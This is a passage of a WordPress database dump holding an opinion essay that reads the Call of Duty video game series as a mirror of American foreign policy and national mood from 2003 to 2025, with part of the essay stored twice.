betrayed your morals for nothing, and your country will suffer as a result. By the end of the game, this message gets its full weight, as a nuke detonates over Washington DC and an American general reveals he was behind the plot to destroy America all along.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!3zdh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fe602a6-88f8-4259-9e37-451db5f938bb_640x480.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!3zdh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fe602a6-88f8-4259-9e37-451db5f938bb_640x480.jpeg\" alt=\"No Russian - Modern Warfare 2 Remastered - YouTube\" title=\"No Russian - Modern Warfare 2 Remastered - YouTube\"/></a><figcaption class=\"wp-element-caption\">The infamous “No Russian” mission. As with almost all videogame controversies,&nbsp;<em>MW2&nbsp;</em>was richly rewarded for this mission with a ton of free press.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Gamers and critics rewarded the&nbsp;<em>Call of Duty&nbsp;</em>developers for these morally grey storylines with record sales and rave reviews. It was the end of the 2000s in the real world by this point, and the George W. Bush “Support Our Troops” jingoism had been thoroughly replaced by the Obama “Publicly Support Ceasefire, Privately Support Drone Strikes” ruthless pragmatism. For the next few years,&nbsp;<em>Call of Duty</em>&nbsp;expertly rode this uneasy wave, bouncing back and forth between the past and the near future with succeeding titles, this time with the past being not the almost unambiguously good World War II, but the very much morally ambiguous Vietnam War in the bestselling&nbsp;<em>Call of Duty: Black Ops</em>&nbsp;subseries, or&nbsp;<em>CoD:BlOps</em>&nbsp;for a much more entertaining title.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, despite increasing commercial success, it proved surprisingly difficult for the developers to keep their creative momentum. Part of this was the yearly development cycle, although this was now being split among multiple development teams. But part of it was the fact that, while cynicism and moral ambiguity is fun for a while, at some point it gets exhausting. I mean, you can drag gamers to more and more exotic locales to commit war crimes or witness nukes going off in major cities, but at some point they are going to run out of war crimes and you’re going to run out of cities to nuke. After gamers had witnessed the destruction of El Paso, London, Los Angeles, and most of the Middle East and tortured people for information in twice as many locations, they were a bit exhausted and ready for a change.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This change came in 2014, the peak of Obama’s second term. By this point, America was a much calmer place than it had been. We had recovered from the 2008 economic crash, withdrawn from Iraq, and were seemingly about to withdraw from Afghanistan. Our foreign policy was all about limiting engagement while limiting risks. So, we carefully forged treaties with Iran, carefully sanctioned Russia over invading Crimea, and carefully built regional alliances in the Middle East to combat the disturbing rise of ISIS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Call of Duty</em>&nbsp;read the national mood, as it always did. The developers knew that they couldn’t go back to the joyful warrior idealism of the early Bush years, but they also couldn’t remain in the morally ambiguous muck they had been wading in. So where was there to go? In the words of the immortal Tim Curry in&nbsp;<em>Red Alert 3</em>: SPPPPPPPAAAAAACCCCCCEEEEE!!!!!!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, to be more specific, the future, in which space warfare plays a large part, along with exoskeletons and robots. Now, this wasn’t a full rejection of “realism”. The&nbsp;<em>Call of Duty&nbsp;</em>directors didn’t want to do the full space opera of Halo. So, in these next games, there was still the geopolitical machinations that&nbsp;<em>Call of Duty&nbsp;</em>had grown so fond of. But the developers were careful to make sure that they were defanged. This time, it was only the villains who would kill civilians, and this time these villains would be cackling directors of private military corporations who would launch ICBMs from their futuristic bases in New Baghdad. Bond villains, in other words.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I regard this as kind of a drifting period for&nbsp;<em>Call of Duty</em>, like it was for America at large. Since the first&nbsp;<em>Call of Duty</em>, in 2003, America had gone through successive periods of righteous anger, disappointment, disgust, disillusionment, and acceptance. We and our virtual avatars no longer were sure we wanted to be the good guys, but we definitely didn’t want to be the bad guys. We just wanted the world to be calm and nice so we could take a breather, put our head on our desk, and dream of space marines.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Which we did, right up until the Trump years in the end of the 2010s. As it turns out, not everybody was closing their eyes and dozing off. There were a lot of pissed off nationalists, in America and elsewhere, who did not like the slow turn their countries were taking towards liberalism and peaceful globalism. Their energy and anger caught the liberal world order by surprise. Trump jerked the American steering wheel hard towards isolationism, Xi Jinping jerked the Chinese steering wheel hard towards expansionism, and Britain Brexited. Liberals across the world reacted by grabbing the steering wheel and trying to force their countries back even harder towards liberalism. The divisions threatened to pull the countries apart, especially in those countries who lacked the authoritarian decisiveness necessary to quell the liberal protests (i.e. not China).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Suddenly, the world was real again. We were all awake. Some of us were woke.&nbsp;<em>Call of Duty</em>&nbsp;took note. It made a fresh start.&nbsp;<em>Call of Duty: Modern Warfare&nbsp;</em>(2019) came out in, well, 2019. Its story, for the first time in the series, was also set in the same year it came out. It was grounded, too, at least by&nbsp;<em>Call of Duty</em>&nbsp;standards, neither heroic nor cynical. It was about soldiers, doing the best they can, trying to contain terrorist threats in London and Russia. They receive scant support from the governments they supposedly serve. By the end of the game, your characters have a mixed bag of success and failures. Both the US and Russian governments unfairly blame you for your failures, while the British government just tolerates you. You are mostly, but not entirely, alone.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, much like the American government, after this game, the&nbsp;<em>Call of Duty&nbsp;</em>development team splintered in its vision of the world. From this point,&nbsp;<em>Modern Warfare</em>&nbsp;developers Infinity Ward, the first and still primary developers of the game, continued with their fresh, grounded vision of what the world was like now, releasing&nbsp;<em>Modern Warfare II</em>&nbsp;in 2022, with characters grappling with the limitations of American power in a multipolar world.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, Treyarch, who had always been responsible for the continuation and expansion of Infinity Ward’s vision (e.g.&nbsp;<em>Call of Duty 3, Call of Duty: Black Ops)</em>, refused to follow Infinity Ward into this grounded present. They continued mining the ambiguous past, their Cold War era plots getting progressively more byzantine until the repeated revelations of brainwashing and sleeper agents made it impossible to tell who the Americans in the story even were anymore.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!Zjy1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc0a30ef-e2be-4d69-ad9b-96c36398d941_1300x731.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!Zjy1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc0a30ef-e2be-4d69-ad9b-96c36398d941_1300x731.png\" alt=\"Call of Duty Zombies Storyline: Discover everything! - Greencade\" title=\"Call of Duty Zombies Storyline: Discover everything! - Greencade\"/></a><figcaption class=\"wp-element-caption\">It’s unclear why or how the Nazi Zombies kept their uniforms on post-death, especially their hats, but I appreciate their commitment to the cause.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>And lastly, Sledgehammer, the weakest of the development teams, who had always been responsible for the most forgettable of the titles (e.g.&nbsp;<em>Advanced Warfare</em>,&nbsp;<em>WWII, Vanguard</em>), had&nbsp;<em>Modern Warfare III&nbsp;</em>dumped upon them by publisher Activision in the wake of Activision’s acquisition by Microsoft. They reacted by losing Infinity Ward’s thread with these&nbsp;<em>Modern Warfare</em>&nbsp;reboots entirely, releasing a game set in the then-present of 2023 with a plot that might have been morally ambiguous if it had made any sense at all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that brings us to the present day.&nbsp;<em>Call of Duty</em>’s reflection of the world, in the year of our Lord 2025, has fractured. It no longer has a single unifying vision, either in time, view of American power, or morality. It’s multi-polared, and gamers can choose which reflection of America best suits their view of the truth: Infinity Ward’s grounded realism, Treyarch’s horrendously complex bombasticism, or Sledgehammer’s loud incoherency.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s hard to say what’s next for&nbsp;<em>Call of Duty</em>. Its publisher has been devoured by Microsoft, who are determined to use&nbsp;<em>Call of Duty</em>’s annual releases to push subscriptions to its Game Pass services. The delicate balance of powers between its 3 developers is in disarray, as Infinity Ward’s next project has been pushed back to 2026, forcing one of the other two developers to step up out of turn if they intend to keep up the annual release cycle. But no&nbsp;<em>Call of Duty</em>&nbsp;has been announced yet for 2025, even though we’re a quarter of the way through the year. It might just be that gamers simply can no longer rely on&nbsp;<em>Call of Duty</em>&nbsp;for their annual reflection on America.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Are the gamers of America, and the world, prepared for that eventuality, though? Their view, nay, our view of the videogame industry is centered around this annual release. Since I was 10, I’ve lived in a world in which&nbsp;<em>Call of Duty</em>&nbsp;has reigned supreme among first person shooters. My virtual blood has infused the digital battlegrounds of&nbsp;<em>Call of Duty</em>&nbsp;countless times, and my real-life shooter sweat has infused controllers from my parents’ basement, to my college dorm room, to the succession of apartments I’ve inhabited in my current city.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sometimes I’ve hated&nbsp;<em>Call of Duty</em>. Sometimes I’ve loved it. Sometimes I’ve felt at home in its view of the world. Sometimes I’ve felt alienated by it. But it’s been a long time since I considered a videogame world without it. Now, I don’t think 2025 will be the end of&nbsp;<em>Call of Duty</em>. It’s too valuable and there are too many people invested in it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t think that Microsoft appreciated, though, when they took over&nbsp;<em>Call of Duty</em>&nbsp;exactly how complicated it is to develop though. It’s a delicate, complex, massive endeavor that takes place every year. I mean, if you think the above annual creative effort sounds wild, keep in mind that I didn’t even mention the massive and multifarious multiplayer modes and elaborate marketing that is packaged in with every release. There is so, so much work that goes into keeping&nbsp;<em>Call of Duty</em>&nbsp;running. It’s not invincible. It’s entirely possible for Microsoft’s too-clever-by-half meddling to irreparably damage it. And yes, this is a metaphor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What is this brave new world we’re entering, as our allies become foes, our foes become allies, and we hollow out our most robust institutions from within? I don’t know. Hopefully the next&nbsp;<em>Call of Duty</em>&nbsp;will help me figure it out.</p>\n<!-- /wp:paragraph -->','Call of Duty as a lens into American foreign policy from 2003-2025','','publish','closed','closed','','call-of-duty-as-a-lens-into-american-foreign-policy-from-2003-2025','','','2025-07-03 19:51:25','2025-07-03 19:51:25','',0,'https://trevorklee.com/?page_id=542',0,'page','',0),
(543,1,'2025-07-03 19:51:25','2025-07-03 19:51:25','<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/@trevorklee\"></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Warning: this is long. I originally wrote it for ACX’s “Everything But Books Review” contest. It didn’t make it into the finals, so I decided to write it here.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The three best selling videogame franchises of all time are, in order&nbsp;<em>Mario, Tetris,&nbsp;</em>and<em>&nbsp;Call of Duty</em>. It’s an interesting list, because each of them represents dramatically different visions of what videogames should be.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Mario</em>&nbsp;represents the idea of videogames as light, escapist fantasy. It’s built around lovable, recognizable characters in a brightly colored fantastic world who alternately battle and play with one another. The morality is black and white, the stakes are never particularly high, and the franchise is never too worried to explain why Mario needs to defeat Bowser in combat one game and doubles tennis the next.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Tetris</em>&nbsp;is an abstract puzzle game that comes straight out of the former Soviet Union. It’s the paradigmatic example of videogames as abstract, logical puzzles in the same way that chess or checkers are. There are falling tetrominos (tetra meaning four, and mino from “domino”), and they need to be aligned in a 2d plane by rotating them. The joy of the game comes from shape rotating under time pressure. There are no stories, no characters, and no morals. The only concession to aesthetics is the annoyingly catchy theme song.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, there’s&nbsp;<em>Call of Duty</em>. Unlike&nbsp;<em>Mario</em>, a fantastical shell for innumerable types of games, or&nbsp;<em>Tetris</em>, an abstract instantiation of a singular puzzle,&nbsp;<em>Call of Duty</em>&nbsp;is, and has been, an annual, expensive showcase for a “realistic” combat simulator. Each year, millions of&nbsp;<em>Call of Duty</em>&nbsp;players buy the next annual installment so that they can pretend to be grizzled war veterans shooting and being shot by other grizzled war veterans, both computer-controlled and human alike.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!tb_x!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b321f6b-1ab4-4ba4-9bae-b92abcb57825_250x357.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!tb_x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5b321f6b-1ab4-4ba4-9bae-b92abcb57825_250x357.jpeg\" alt=\"Call of Duty (video game) - Wikipedia\" title=\"Call of Duty (video game) - Wikipedia\"/></a><figcaption class=\"wp-element-caption\">The first ever&nbsp;<em>Call of Duty</em>. Great name, great cover art. I love the guy pointing directly at you.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Because&nbsp;<em>Call of Duty</em>&nbsp;releases annually, and because it places an emphasis on realism (although never at the expense of fun), it has a unique pressure to be timely in a way that the other franchises do not. In other words, it tries to reflect the world that it was developed in, through the lens of the American developers who guide its development.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<em>Call of Duty</em>&nbsp;developers have taken this idea of reflection in different ways over the course of the franchise. Some installments of the franchise take this literally, and try to make the plot of the campaign mirror current geopolitical trends with the technology to match. Some installments of the franchise try less to reflect current trends and more to reflect current worries, with narratives of America’s fall and our adversaries’ rise. And many, many installments try to use current sentiments to reflect back on America’s past wars, most often WW2. Never before have so many young men in their basement wasted so much of their time for so little.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All in all, there have been 21 mainstream&nbsp;<em>Call of Duty&nbsp;</em>games, one for almost every year between 2003 and 2024 (2004 being the sole exception). They are an almost continuous, two decade long showcase into how America sees itself in relation to its foreign privileges and obligations, especially its military. It is the single most popular, most commercially successful lens into how America sees itself in relation to the outside world. Given the radical restructuring going on right now of that very subject, it’s worth taking a look back through&nbsp;<em>Call of Duty</em>&nbsp;titles to figure out how we got here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first&nbsp;<em>Call of Duty</em>&nbsp;had a simple goal: to make the most atmospheric WW2 shooter ever made. It would be first person; take you on a grand tour of the major WW2 battlegrounds through American, British, and Soviet soldiers; and it would make you feel like you were goddamn Audie Murphy. You’d shoot, throw grenades, lay down suppressive fire, and, unique for the shooters of the time, feel like you were playing a decisive role in massive battles along with your allies. You wouldn’t be a one man wrecking ball like Doom guy or Master Chief, but you would be a hero soldier.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The next two&nbsp;<em>Call of Duty</em>&nbsp;games, appropriately named&nbsp;<em>Call of Duty 2&nbsp;</em>and&nbsp;<em>Call of Duty 3</em>, were the same but better. In&nbsp;<em>2</em>, you’d defend Stalingrad as a Soviet private, destroy German tanks in North Africa as a British sergeant, and charge German bunkers as an American corporal. You’d do about the same in&nbsp;<em>3</em>, but this time as an American private, a British sergeant, a Canadian private, and a Polish corporal in the tank division. Thousands of Nazis would die by your hands by the time the campaigns were done, and your manly comrades would send up virtual cheers for you, assuming they also hadn’t died heroic deaths. Or, you know, you hadn’t accidentally shot them in the back when their AI pathing led them in front of your machine gun.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It was the next&nbsp;<em>Call of Duty</em>,&nbsp;<em>Call of Duty 4: Modern Warfare</em>, released in 2007, that the developers first considered making a more complicated political statement than “it was good and cool that the Allies won WW2”. This probably had something to do with the times. By 2005, when COD4 started development, it was becoming increasingly clear that, despite what George W. Bush had promised, the wars in Afghanistan and Iraq were not going to be savior stories. We were 4 years out from having resoundingly conquered Afghanistan and 2 years out from having conquered Iraq and yet, somehow, the wars were still going on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Worse yet, the people who we were supposed to have saved hated us. I mean, yes, most of Afghanistan had hated the Taliban and an even higher percentage of Iraq hated Saddam, but they also hated the Americans who were bombing their houses and roads. And if America hadn’t found Osama in Afghanistan or WMDs in Iraq, and the people there didn’t want us, what exactly were we doing there? Were we really just there for oil, like our critics said? Did anyone know?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>COD4 took that uneasiness and created a world out of it. Gone were the clear lines of good vs. evil of the past. You serve as British and American soldiers in the then near-future of 2011, trying desperately to unravel a tangled web of alliances between Russian nationalists and a Middle Eastern warlord before they unleash Cold War era nuclear weapons . Not only are allies and enemies not who they appear, but your player characters are no longer straightforward heroes. Your characters shoot men in the back, knife them as they sleep, and, in one mission, dispassionately annihilate them from 12,000 feet up in a Lockheed gunship.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sometimes, your characters fail, too. In the third level, you play as the erstwhile president of Saudi Arabia in the minutes leading up to his public execution. You can only look around helplessly as you’re driven to a stadium, your supporters executed in the street while you watch. Finally, you’re dragged out of the car, tied to a pole, and shot in the head.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, in the 10th mission, your player character, a redblooded American sergeant named Paul Jackson, is taken out by a nuclear strike after a seemingly successful rescue mission. You don’t just play as him as he heroically rescues a stranded pilot from certain doom. You also play as him after the helicopter that was meant to rescue you and that pilot is blown out of the air by a nuclear bomb. Your last few moments as Paul Jackson are spent crawling on the ground, devastation all around you, before you succumb to the effects of radiation poisoning.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>War crimes, the uneasy reality of American military superiority in every war we fight, our numerous military failures despite this superiority: this is&nbsp;<em>Modern Warfare</em>. This is what the developers of&nbsp;<em>COD4</em>&nbsp;felt when they wanted to create a “realistic” war videogame in 2005. And they succeeded.&nbsp;<em>COD4</em>&nbsp;was by far the most successful entry in the nascent franchise, both in terms of critical success and in sales.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The next installations of&nbsp;<em>Call of Duty</em>&nbsp;took this idea and ran with it. First,&nbsp;<em>Call of Duty: World at War</em>&nbsp;went back to WW2. But this time, it focused on the Pacific theater, famous for its brutal island-hopping warfare. And&nbsp;<em>World at War</em>&nbsp;leaned into the brutality. You start as an American soldier, watching his comrades get tortured and executed by the Japanese on Makin Island. You quickly turn the tide, burning the Japanese out from their bunkers with flamethrowers as they cry out in pain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By the time you finish playing as American Private C. Miller, you have committed dozens of war crimes and watched dozens more be committed in front of you. This prepares you for the next half of the game, where you play as a Soviet soldier, left for dead in a body-filled fountain in Stalingrad. Your sergeant, played by Gary Oldman (by this point, they had the big budgets to hire star actors), urges you to be as brutal towards the Germans as they were towards the Russians. Across the remaining missions of the game, you wade across a sea of blood as you and your fellow comrades surge towards the Reichstag.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Funnily enough, this push towards reality in&nbsp;<em>Call of Duty</em>&nbsp;also introduced what ended up being another&nbsp;<em>Call of Duty&nbsp;</em>mainstay, a push towards unreality with the zombie mode. Immediately after Private Petrenko plants a Soviet flag on the Reichstag, your next mission begins, as you fight off an endless horde of Nazi zombies with colorful powerups from soda cans. Or, to think about it another way, right Gary Oldman tells you that you need to treat German soldiers as if they’re not human, they literally become zombies with an unslakeable thirst for blood.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The next&nbsp;<em>Call of Duty</em>,&nbsp;<em>Modern Warfare 2</em>, returned us to the near future, while further venturing into the heart of darkness.&nbsp;<em>MW2</em>&nbsp;was the first&nbsp;<em>Call of Duty</em>&nbsp;to allow killing of civilians without penalty, in one early mission where you, as a double agent, pretend to be a Russian terrorist laying siege to an airport. You don’t have to kill the civilians in the mission, but the game doesn’t punish you for doing so, and your comrades encourage it. That mission ends with the terrorist leader revealing that he knew you were a double agent all along, shooting you in the head and driving off in order to frame you, an American agent, for the massacre. The intended message: you have betrayed your morals for nothing, and your country will suffer as a result. By the end of the game, this message gets its full weight, as a nuke detonates over Washington DC and an American general reveals he was behind the plot to destroy America all along.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!3zdh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fe602a6-88f8-4259-9e37-451db5f938bb_640x480.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!3zdh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fe602a6-88f8-4259-9e37-451db5f938bb_640x480.jpeg\" alt=\"No Russian - Modern Warfare 2 Remastered - YouTube\" title=\"No Russian - Modern Warfare 2 Remastered - YouTube\"/></a><figcaption class=\"wp-element-caption\">The infamous “No Russian” mission. As with almost all videogame controversies,&nbsp;<em>MW2&nbsp;</em>was richly rewarded for this mission with a ton of free press.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Gamers and critics rewarded the&nbsp;<em>Call of Duty&nbsp;</em>developers for these morally grey storylines with record sales and rave reviews. It was the end of the 2000s in the real world by this point, and the George W. Bush “Support Our Troops” jingoism had been thoroughly replaced by the Obama “Publicly Support Ceasefire, Privately Support Drone Strikes” ruthless pragmatism. For the next few years,&nbsp;<em>Call of Duty</em>&nbsp;expertly rode this uneasy wave, bouncing back and forth between the past and the near future with succeeding titles, this time with the past being not the almost unambiguously good World War II, but the very much morally ambiguous Vietnam War in the bestselling&nbsp;<em>Call of Duty: Black Ops</em>&nbsp;subseries, or&nbsp;<em>CoD:BlOps</em>&nbsp;for a much more entertaining title.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, despite increasing commercial success, it proved surprisingly difficult for the developers to keep their creative momentum. Part of this was the yearly development cycle, although this was now being split among multiple development teams. But part of it was the fact that, while cynicism and moral ambiguity is fun for a while, at some point it gets exhausting. I mean, you can drag gamers to more and more exotic locales to commit war crimes or witness nukes going off in major cities, but at some point they are going to run out of war crimes and you’re going to run out of cities to nuke. After gamers had witnessed the destruction of El Paso, London, Los Angeles, and most of the Middle East and tortured people for information in twice as many locations, they were a bit exhausted and ready for a change.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This change came in 2014, the peak of Obama’s second term. By this point, America was a much calmer place than it had been. We had recovered from the 2008 economic crash, withdrawn from Iraq, and were seemingly about to withdraw from Afghanistan. Our foreign policy was all about limiting engagement while limiting risks. So, we carefully forged treaties with Iran, carefully sanctioned Russia over invading Crimea, and carefully built regional alliances in the Middle East to combat the disturbing rise of ISIS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Call of Duty</em>&nbsp;read the national mood, as it always did. The developers knew that they couldn’t go back to the joyful warrior idealism of the early Bush years, but they also couldn’t remain in the morally ambiguous muck they had been wading in. So where was there to go? In the words of the immortal Tim Curry in&nbsp;<em>Red Alert 3</em>: SPPPPPPPAAAAAACCCCCCEEEEE!!!!!!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, to be more specific, the future, in which space warfare plays a large part, along with exoskeletons and robots. Now, this wasn’t a full rejection of “realism”. The&nbsp;<em>Call of Duty&nbsp;</em>directors didn’t want to do the full space opera of Halo. So, in these next games, there was still the geopolitical machinations that&nbsp;<em>Call of Duty&nbsp;</em>had grown so fond of. But the developers were careful to make sure that they were defanged. This time, it was only the villains who would kill civilians, and this time these villains would be cackling directors of private military corporations who would launch ICBMs from their futuristic bases in New Baghdad. Bond villains, in other words.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I regard this as kind of a drifting period for&nbsp;<em>Call of Duty</em>, like it was for America at large. Since the first&nbsp;<em>Call of Duty</em>, in 2003, America had gone through successive periods of righteous anger, disappointment, disgust, disillusionment, and acceptance. We and our virtual avatars no longer were sure we wanted to be the good guys, but we definitely didn’t want to be the bad guys. We just wanted the world to be calm and nice so we could take a breather, put our head on our desk, and dream of space marines.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Which we did, right up until the Trump years in the end of the 2010s. As it turns out, not everybody was closing their eyes and dozing off. There were a lot of pissed off nationalists, in America and elsewhere, who did not like the slow turn their countries were taking towards liberalism and peaceful globalism. Their energy and anger caught the liberal world order by surprise. Trump jerked the American steering wheel hard towards isolationism, Xi Jinping jerked the Chinese steering wheel hard towards expansionism, and Britain Brexited. Liberals across the world reacted by grabbing the steering wheel and trying to force their countries back even harder towards liberalism. The divisions threatened to pull the countries apart, especially in those countries who lacked the authoritarian decisiveness necessary to quell the liberal protests (i.e. not China).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Suddenly, the world was real again. We were all awake. Some of us were woke.&nbsp;<em>Call of Duty</em>&nbsp;took note. It made a fresh start.&nbsp;<em>Call of Duty: Modern Warfare&nbsp;</em>(2019) came out in, well, 2019. Its story, for the first time in the series, was also set in the same year it came out. It was grounded, too, at least by&nbsp;<em>Call of Duty</em>&nbsp;standards, neither heroic nor cynical. It was about soldiers, doing the best they can, trying to contain terrorist threats in London and Russia. They receive scant support from the governments they supposedly serve. By the end of the game, your characters have a mixed bag of success and failures. Both the US and Russian governments unfairly blame you for your failures, while the British government just tolerates you. You are mostly, but not entirely, alone.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, much like the American government, after this game, the&nbsp;<em>Call of Duty&nbsp;</em>development team splintered in its vision of the world. From this point,&nbsp;<em>Modern Warfare</em>&nbsp;developers Infinity Ward, the first and still primary developers of the game, continued with their fresh, grounded vision of what the world was like now, releasing&nbsp;<em>Modern Warfare II</em>&nbsp;in 2022, with characters grappling with the limitations of American power in a multipolar world.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, Treyarch, who had always been responsible for the continuation and expansion of Infinity Ward’s vision (e.g.&nbsp;<em>Call of Duty 3, Call of Duty: Black Ops)</em>, refused to follow Infinity Ward into this grounded present. They continued mining the ambiguous past, their Cold War era plots getting progressively more byzantine until the repeated revelations of brainwashing and sleeper agents made it impossible to tell who the Americans in the story even were anymore.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!Zjy1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc0a30ef-e2be-4d69-ad9b-96c36398d941_1300x731.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!Zjy1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbc0a30ef-e2be-4d69-ad9b-96c36398d941_1300x731.png\" alt=\"Call of Duty Zombies Storyline: Discover everything! - Greencade\" title=\"Call of Duty Zombies Storyline: Discover everything! - Greencade\"/></a><figcaption class=\"wp-element-caption\">It’s unclear why or how the Nazi Zombies kept their uniforms on post-death, especially their hats, but I appreciate their commitment to the cause.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>And lastly, Sledgehammer, the weakest of the development teams, who had always been responsible for the most forgettable of the titles (e.g.&nbsp;<em>Advanced Warfare</em>,&nbsp;<em>WWII, Vanguard</em>), had&nbsp;<em>Modern Warfare III&nbsp;</em>dumped upon them by publisher Activision in the wake of Activision’s acquisition by Microsoft. They reacted by losing Infinity Ward’s thread with these&nbsp;<em>Modern Warfare</em>&nbsp;reboots entirely, releasing a game set in the then-present of 2023 with a plot that might have been morally ambiguous if it had made any sense at all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that brings us to the present day.&nbsp;<em>Call of Duty</em>’s reflection of the world, in the year of our 